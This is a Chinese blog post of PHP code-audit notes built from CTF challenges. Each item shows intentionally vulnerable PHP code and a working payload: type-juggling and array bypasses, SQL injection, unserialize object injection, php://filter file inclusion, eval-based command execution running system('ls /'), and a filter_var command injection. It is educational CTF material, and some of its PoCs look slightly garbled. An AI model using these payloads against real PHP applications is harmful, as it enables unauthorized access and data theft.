NEKO

php审计

2018/01/28

参考:https://github.com/bowu678/php_bugs

extract覆盖

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = 'flag.php';
extract($_GET);
if (isset($shiyan)) {
$content = trim(file_get_contents($flag));
if ($shiyan == $content) {
echo 'ctf{xxx}';
} else {
echo 'Oh.no';
}
}
?>

poc:

1
?shiyan=&flag=neko!

再来一道:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/**
* Created by PhpStorm.
* User: ZTS
* Date: 2017/12/15
* Time: 10:22
*/

$filename = 'flag08395e0fda9cae71.txt';
$flag = 'flag08395e0fda9cae71.txt';

extract($_GET); //extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。

if (isset($attempt)) {
$combination = trim(file_get_contents($filename)); //trim() 函数移除字符串两侧的空白字符或其他预定义字符。/

if ($attempt === $combination) {
echo "<p>How did you know the secret combinnation was" . "$combination !?</p>";
$next = file_get_contents($flag);
echo $next;
} else {
echo "Incorrect! The secret combiantion is not $attempt";
}
}
?>

poc:

1
?attempt=&filename=asdasndajsdnksad

原理:
extract()可以覆盖变量,file_get_contents()找不到文件名时返回null,让shiyan为空即可

is_number&回文数绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php

$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告

if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txt

die("have a fun!!"); //die — 等同于 exit()

}

foreach([$_GET, $_POST] as $global_var) { //foreach 语法结构提供了遍历数组的简单方式
foreach($global_var as $key => $value) {
$value = trim($value); //trim — 去除字符串首尾处的空白字符(或者其他字符)
is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串
}
}


function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}


if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{

$info="sorry, you cann't input a number!";

}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{

$info = "number must be equal to it's integer!! ";

}
else
{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}

}

echo $info;

poc:

1
2
?number=%00%c12321
?number=%002147483647

原理:00截断绕过is_numeric(),%0c是\f换页符,intval()和strrev()无视%00和%0c,但是判断回文数的时候就不会无视了,至于为什么是/f,因为trim()会过滤\n\r\t\v\0但不会过滤\f。
第二种解法是因为32位系统intval()能接受的最大值为2147483647,64位能接受的最大值为9223372036854775807,64位的payload为?number=%0009223372036854775807要加个0,因为这个数反过来小于9223372036854775807,然而我明明是64位机器,复现却要用32的payload。
参考:http://www.chnpanda.com/961.html

序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include 'common.php';
$flag = "neko!!";
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
//把一个或多个数组合并为一个数组
class db {
public $where;
function __wakeup() {
if (!empty($this->where)) {
$this->select($this->where);
}
}
function select($where) {
$sql = mysql_query('select * from user where ' . $where);
//函数执行一条 MySQL 查询。
return @mysql_fetch_array($sql);
//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false
}
}

if (isset($requset['token']))
//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
//gzuncompress:进行字符串压缩
//unserialize: 将已序列化的字符串还原回 PHP 的值

$db = new db();
$row = $db->select('user=\'' . mysql_real_escape_string($login['user']) . '\'');
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

if ($login['user'] === 'ichunqiu') {
echo $flag;
} else if ($row['pass'] !== $login['pass']) {
echo 'unserialize injection!!';
} else {
echo "(╯‵□′)╯︵┴─┴ ";
}
} else {
header('Location: index.php?error=1');
}

?>

poc:

1
2
3
4
5
<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
?>

不要用array(‘user’=>’ichunqiu’)

with rollup

http://www.shiyanbar.com/ctf/1940
其实就一个用法:
group by pwd with rollup limit 1 offset 2%23 测试出只有两行数据后,后再group by pwd with rollup,就会多出一行,其中pwd为NULL

ereg绕过及php弱语言性质

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
$flag = "flag";

if (isset($_GET['password'])) {
if (ereg("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) {
echo '<p>You password must be alphanumeric</p>';
} else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) {
if (strpos($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置
{
die('Flag: ' . $flag);
} else {
echo ('<p>*-* have not been found</p>');
}
} else {
echo '<p>Invalid password</p>';
}
}
?>

poc:

1
2
password=1e8%00*-*
?password[]=1e8*-*

原理:
ereg检查到%00就不会往下检查了,这里把===改成==也是可以绕过的。
strlen()不算%00,php是弱语言解析到1e8之后解析不出来就只解析1e8,并不是%00截断什么的。
第二个poc是利用===,由于ereg是处理字符串的,传入数组就会返回NULL即FALSE。

eregi,file_get_contents绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
$id=$_GET['id'];$a=$_GET['a'];$b=$_GET['b'];
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
echo "neko!!";
}else
{
print "work harder!harder!harder!";
}

?>

poc:

1
2
3
4
5
?id=0&a=php://input&b=%0011111
post:1112 is a nice lab!

或者:
?id=a&a=data:,1112 is a nice lab!&b=%00111111

原理:
id也可以用字母和.绕过,php里’.’==0,字母也是,file_get_contents用php伪协议绕过或者用data协议绕过,eregi()和ereg()一样执行到%00就不继续了,所以条件就变成eregi("111","1114")为1.

数组绕过strcmp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。

//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}

?>

poc:

1
?a[]=1

再来一个题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/**
* Created by PhpStorm.
* User: ZTS
* Date: 2017/12/15
* Time: 9:59
*/
error_reporting(0);
$password = $_GET['password'];

var_dump($password);
echo "<br>";
var_dump(strcmp('cab56ab0de5376d2a0c73307ea011da4', $password));
echo "<br>";
if (strcmp('cab56ab0de5376d2a0c73307ea011da4', $password)) {
//二进制安全字符串比较
echo 'password is false ! ! ! ! !';
} else {
echo 'flag is here!!<br>';
echo 'flag{vUlnCtF_This_iS_a_FlAg}';
}

?>

poc:

1
?password[]=123

原理:
php<=5.3时,strcmp接收数组时返回null,然而我用5.45的php怎么还是返回0 - -。有毒吧,我的php版本和机器位数都是摆设啊!

数组绕过sha1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>

poc:

1
?name[]=1&password[]=2

原理:
第二主要是利用===,因为sha1处理数组返回false。
这里不能用0e开头md5值的解密字符串绕过,这是sha1,不是md5.

bp绕过session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
$flag = "flag";

session_start();
if (isset($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password']) {
die('Flag: ' . $flag);
} else {
print '<p>Wrong guess.</p>';
}

}
mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

poc:

1
2
?password=
bp把seesion=...后面的删了

poc:
这是个脑洞题吧..不能password=1,seesion=1这样,因为这个seesion不是$_SESSION[‘password’],而是$_SESSION[‘password’]经过变换后得到的值,然而设成空后,$_SESSION[‘password’]肯定为空

这个属于sql注入了吧…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

//配置数据库
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}

//赋值

$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {

//如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。


echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}
}
?>

poc:

1
2
user:' union select md5(1)#
pass:1

原理:
sql注入,没什么说的.

url双重编码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if (eregi("hackerDJ", $_GET[id])) {
echo ("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);

if ($_GET[id] == "hackerDJ") {
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>

poc:

1
?id=hack%25%36%35rDJ

原理:
首先url栏提交到后台本来就url解密一次,随便找个字符加密2次就行,因为代码后面还给了个urldecode()

sql闭合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php


if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("*******", "****", "****");
mysql_select_db("****") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select user from php where (user='$user') and (pw='$pass')";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);

if($row['user']=="admin") {
echo "<p>Logged in! Key: *********** </p>";
}

if($row['user'] != "admin") {
echo("<p>You are not admin!</p>");
}
}

?>

poc:

1
user:admin')#

原理:
差点忘了)。。。

改xff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

poc:

1
python发个包或bp改下xff或火狐用modify headers改个xff

md5绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}

?>

poc:
查0e开头的md5解密值

intval四舍五入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if ($_GET[id]) {
$id = intval($_GET[id]);
if ($id == 1024) {
$flag = 'neko!!';
}

if ($_GET[id] == 1024) {
echo "<p>no! try again</p>";
} else {
echo ($flag);
}
}

?>

poc:

1
?id=1024.1

原理:
intval()四舍五入

数组绕过strpos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
$flag = "flag";

if (isset($_GET['nctf'])) {
if (@ereg("^[1-9]+$", $_GET['nctf']) === FALSE) {
echo 'error1';
} else if (strpos($_GET['nctf'], '#biubiubiu') !== FALSE) {
die('Flag: ' . $flag);
} else {
echo 'error2';
}

}

?>

poc:

1
2
?nctf[]=#biubiubiu
?nctf=1%00%23biubiubiu

原理:
ereg()和strpos()接收数组都返回false
第二种要将#编码,不知道为什么

也是个sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
if(get_magic_quotes_gpc()){ //get_magic_quotes_gpc — 获取当前 magic_quotes_gpc 的配置选项设置
$str=stripslashes($str); //返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等)。双反斜线(\\)被转换为单个反斜线(\)。
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

//$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}

echo $flag;

?>

poc:

1
2
懒得配环境了,写个大致思路:
?username=\\&password=' or 1=1 or '

16进制绕过10进制检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);

?>

poc:

1
?password=0xdeadc0de

正则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

error_reporting(0);
$flag = 'flag{test}';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
//>=3,必须包含四种类型三种与三种以上
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}

?>

poc:

1
2
password:42.00e+0000000000
password:420.000000000e-1

原理:
至少12个字符,且必须要有大小写字母,数字,字符内容三种与三种以上

弱类型&00截断绕过is_numeric

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
$flag = "flag{test}";

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;
}

?>

poc:

1
2
?password=9999a
?password=9999%00 //也可以00截断

md5(,true)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("security", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = $_GET['password'];
$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

poc:

1
?password=ffifdyop

原理:
md5($password,true) 将md5后的hex转换成字符串
ffifdyopmd5后,276f722736c95d99e921722cf9ed621c hex转换成字符串:’or’6

反序列化

1.http://web.jarvisoj.com:32768/
源码:
shield.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

index.php

1
2
3
4
5
6
7
8
9
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this->file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file, '..') === FALSE
&& stripos($this->file, '/') === FALSE && stripos($this->file, '\\') == FALSE) {
return @file_get_contents($this->file);
}
}
}

$q = new Shield();
$q->file = 'pctf.php';
echo serialize($q);
?>

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

原理:就是用序列化初始Shield的一个实例$x,再调用$x的readfile()函数,把$x的属性$filename为名的文件内容读出来,提示说flag在pctf.php里,那直接写个脚本构造就行了。

闭合反引号

源码:

1
2
3
4
5
6
7
8
9
<?php
require(“config.php”);
$table = $_GET['table']?$_GET['table']:“test”;
$table = Filter($table);
mysqli_query($mysqli,“desc `secret_{$table}`”) or Hacker();
$sql = “select ‘flag{xxx}’ from secret_{$table}”;
$ret = sql_query($sql);
echo $ret[0];
?>

poc:

1
http://web.jarvisoj.com:32794/index.php?table=flag` ` union select database() limit 1,1

原理:
首先要绕过

1
2
mysqli_query($mysqli,“desc `secret_{$table}`”) or Hacker(); 
s

,要注意前面的逻辑要正确,要不然就会执行Hacker(),试出secret_flag是存在的,闭合反引号就能注入了

利用implode绕过正则

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

$role = "guest";
$flag = "flag{test_flag}";
$auth = false;
if (isset($_COOKIE["role"])) {
$role = unserialize(base64_decode($_COOKIE["role"]));
if ($role === "admin") {
$auth = true;
} else {
$auth = false;
}
} else {
$role = base64_encode(serialize($role));
setcookie('role', $role);
}
if ($auth) {
if (isset($_POST['filename'])) {
$filename = $_POST['filename'];
$data = $_POST['data'];
if (preg_match('[<>?]', $data)) {
die('No No No!' . $data);
} else {
$s = implode($data);
if (!preg_match('[<>?]', $s)) {
$flag = 'None.';
}
$rand = rand(1, 10000000);
$tmp = "./uploads/" . md5(time() + $rand) . $filename;
file_put_contents($tmp, $flag);
echo "your file is in " . $tmp;
}
} else {
echo "Hello admin, now you can upload something you are easy to forget.";
echo "<br />there are the source.<br />";
echo '<textarea rows="10" cols="100">';
echo htmlspecialchars(str_replace($flag, 'flag{???}', file_get_contents(__FILE__)));
echo '</textarea>';
}
} else {
echo "Sorry. You have no permissions.";
}
?>

poc:

1
2
设置cookie: role=czo1OiJhZG1pbiI7
post:filename=1.php&data[0]=<

原理:

1
认证只要把s:5:"admin"; b64加密放cookie里就行因为有implode这个处理数组把数组元素合并成字符串的函数,所以基本确定data应该传个数组了,而preg_match无法处理数组,就能绕过正则了。

php://filter读源码

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
/**
* Created by PhpStorm.
* User: ZTS
* Date: 2017/12/15
* Time: 9:54
*/
header("Content-Type: text/html;charset=utf-8");
$page=$_GET['page'];
if (isset($_GET['page'])){
include("$page"); //include 语句包含并运行指定文件。
}
else{
echo 'page!!!!';
}

/*flag在Y29uZmln.php中,请使用本地文件包含方式获得flag*/

?>

poc:

1
?page=php://filter/convert.base64-encode/resource=Y29uZmln.php

原理:
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
include()是执行文件,如果直接page=Y29uZmln.php的话只是看到phpinfo()函数的执行结果,无法读源码。
读源码还是要用php://filter

利用优先级绕过一些判断

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
/**
* Created by PhpStorm.
* User: ZTS
* Date: 2017/12/15
* Time: 10:04
*/
header("Content-Type: text/html;charset=utf-8");

$a = 'test';
$b = 'test2';

$a = $_GET['a'];
$b = $_GET['b'];

$c = is_numeric($a) and is_numeric($b);

if($c){
print "flag{Flag_iS_VulnCtf}";
}
else{
print "is_numeric(a) and is_numeric(b) error !";
}

?>

poc:

1
?a=1

原理:
=的优先级大于and,只要前面是true就行
但把and换为&&就不行了,&&的优先级大于=

还是弱类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/**
* Created by PhpStorm.
* User: ZTS
* Date: 2017/12/15
* Time: 10:11
*/

$a = @$_GET['a'];
if ($a == 0) {
echo "ZmxhZ3tUaGlTX2F";
}
if ($a) {
echo "fVnVsTkN0Rl9mbGFnfQ==";
}
?>

找到一种方法使两个条件都成立
poc:

1
2
3
?a=abcdrfg
?a=''
?a=.

原理:
php里字母==0,’’==0,’.’==0

包含,序列化,php://input得到原始post数据,php://filter读源码

总的来说,一道典型的综合题
源码:
index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
/**
* Created by PhpStorm.
* User: ZTS
* Date: 2017/12/15
* Time: 10:16
*/

$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

/*
isset函数是检测变量是否设置。
若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
file_get_contents — 将整个文件读入一个字符串
preg_match — 执行匹配正则表达式
*/

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";

if(preg_match("/f1aG/",$file)){
exit();
}else{
include($file); //class.php
$pass = unserialize($pass);
echo $pass;
}
}else{
echo "you are not admin ! ";
}

?>

class.php(这个是用文件包含读出来的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

/**
* Created by PhpStorm.
* User: ZTS
* Date: 2017/12/15
* Time: 10:19
*/

class Read{ //f1aG.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}

?>

poc:
先给出一个概念:include()是执行文件里的代码,file_get_contents()是得到文件里的字符,但是无法得到<?php …?>里的内容

第一步:利用php://input绕过对user的检验并用php://filter读取class.php的源码(php://input得到原始post数据,这里用的是include $file,但我们要的是源码不是让他执行,要用php://filter)

1
?user=php://input&file=php://filter/convert.base64-encode/resource=class.php

得到class.php之后发现这个Read类里有魔法函数,并且有个echo file_get_contents($this->file);,这里要注意两点:1.要让file=class.php,我们要执行class.php里的函数,不是读源码了。
2.序列化里还是要用php://filter读f1aG.php的源码,因为file_get_contents无法得到<?php …?>里的内容。

第二步:利用序列化和php://filter结合读取f1aG.php的源码:

1
?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1aG.php";}

生成序列的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Read {
//f1aG.php
public $file;
public function __toString() {
if (isset($this->file)) {
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}

$a = new Read();
$a->file = 'php://filter/read=convert.base64_encode/resource=f1aG.php';
echo serialize($a);
?>

${}执行命令

源码

1
2
3
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');

poc:

1
http://120.24.215.80:10013/index.php?str=${eval($_GET[c])}&c=system('ls /');

ls /里的/表示根目录

源码:

1
2
3
4
5
6
7
8
9
10
<?php
// PHP is the best language for hacker
// Find the flag !!
highlight_file(__FILE__);
$_ = $_GET['🍣'];

if( strpos($_, '"') || strpos($_, "'") )
die('Bad Hacker :(');

eval('die("' . substr($_, 0, 16) . '");');

测试

1
http://104.199.235.135:31333/?🍣={${phpinfo()}}

poc:

1
http://104.199.235.135:31333/?🍣={$_GET[1](`ls`)}&1=print_r

flag是文件名

[]>任何数,.表示_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
ini_set("display_error", false);
error_reporting(0);
if (strpos($_SERVER['QUERY_STRING'], "A_A") !== false) {
echo 'A_A,have fun';
} elseif ($str < 9999999999) {
echo 'A_A,too small';
} elseif ((string) $str > 0) {
echo 'A_A,too big';
} else {
echo "flag{neko_best!}";

}

安恒5月的一个题。
if (strpos($_SERVER['QUERY_STRING'], "A_A") !== false)
表示查询范式的开头不能是AA,用A.A代替即可,php中.会被解析为
php中[]>大于任何数用来绕过$str < 9999999999,
此外(string) $str被转换为Array,”Array”==0为true,绕过(string) $str > 0

payload:

1
?A.A[]=1

in_array未设置第三个参数

config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value) {
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|", $pattern);
foreach ($back_list as $hack) {
if (preg_match("/$hack/i", $value)) {
die("$hack detected!");
}

}
return $value;
}
?>

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "<center><table border='1'>";
foreach ($row as $key => $value) {
echo "<tr><td><center>$key</center></td><br>";
echo "<td><center>$value</center></td></tr><br>";
}
echo "</table></center>";
} else {
die($conn->error);
}

?>

payload:

1
http://localhost/index.php?id=4 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))

参考:https://xz.aliyun.com/t/2451
https://xz.aliyun.com/t/2160
https://xz.aliyun.com/t/2491

filter_var缺陷

https://xz.aliyun.com/t/2457
PHP 5 >= 5.2.0, PHP 7
红日的题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
<center><textarea rows='20' cols='90'>";
echo implode(' ', $result);
}
else{
die("<center><h1>Error: Host not allowed</h1></center>");
}

}
else{
echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
<center><h3>For example:?url=http://sec-redclub.com</h3></center>";
}

?>

1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

评论的payload:

1
url=test://"|cat<>f1agi3hEre.php;"sec-redclub.com

官方wp:https://xz.aliyun.com/t/2491

实例化任意对象漏洞

wp:https://xz.aliyun.com/t/2491

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// index.php
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);
$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}

1
2
3
4
// f1agi3hEre.php
<?php
$flag = "HRCTF{X33_W1tH_S1mpl3Xml3l3m3nt}";
?>

原文作者: n3k0

发表日期: January 28th 2018, 7:06:23

发出嘶吼: 没有魔夜2玩我要死了

CATALOG
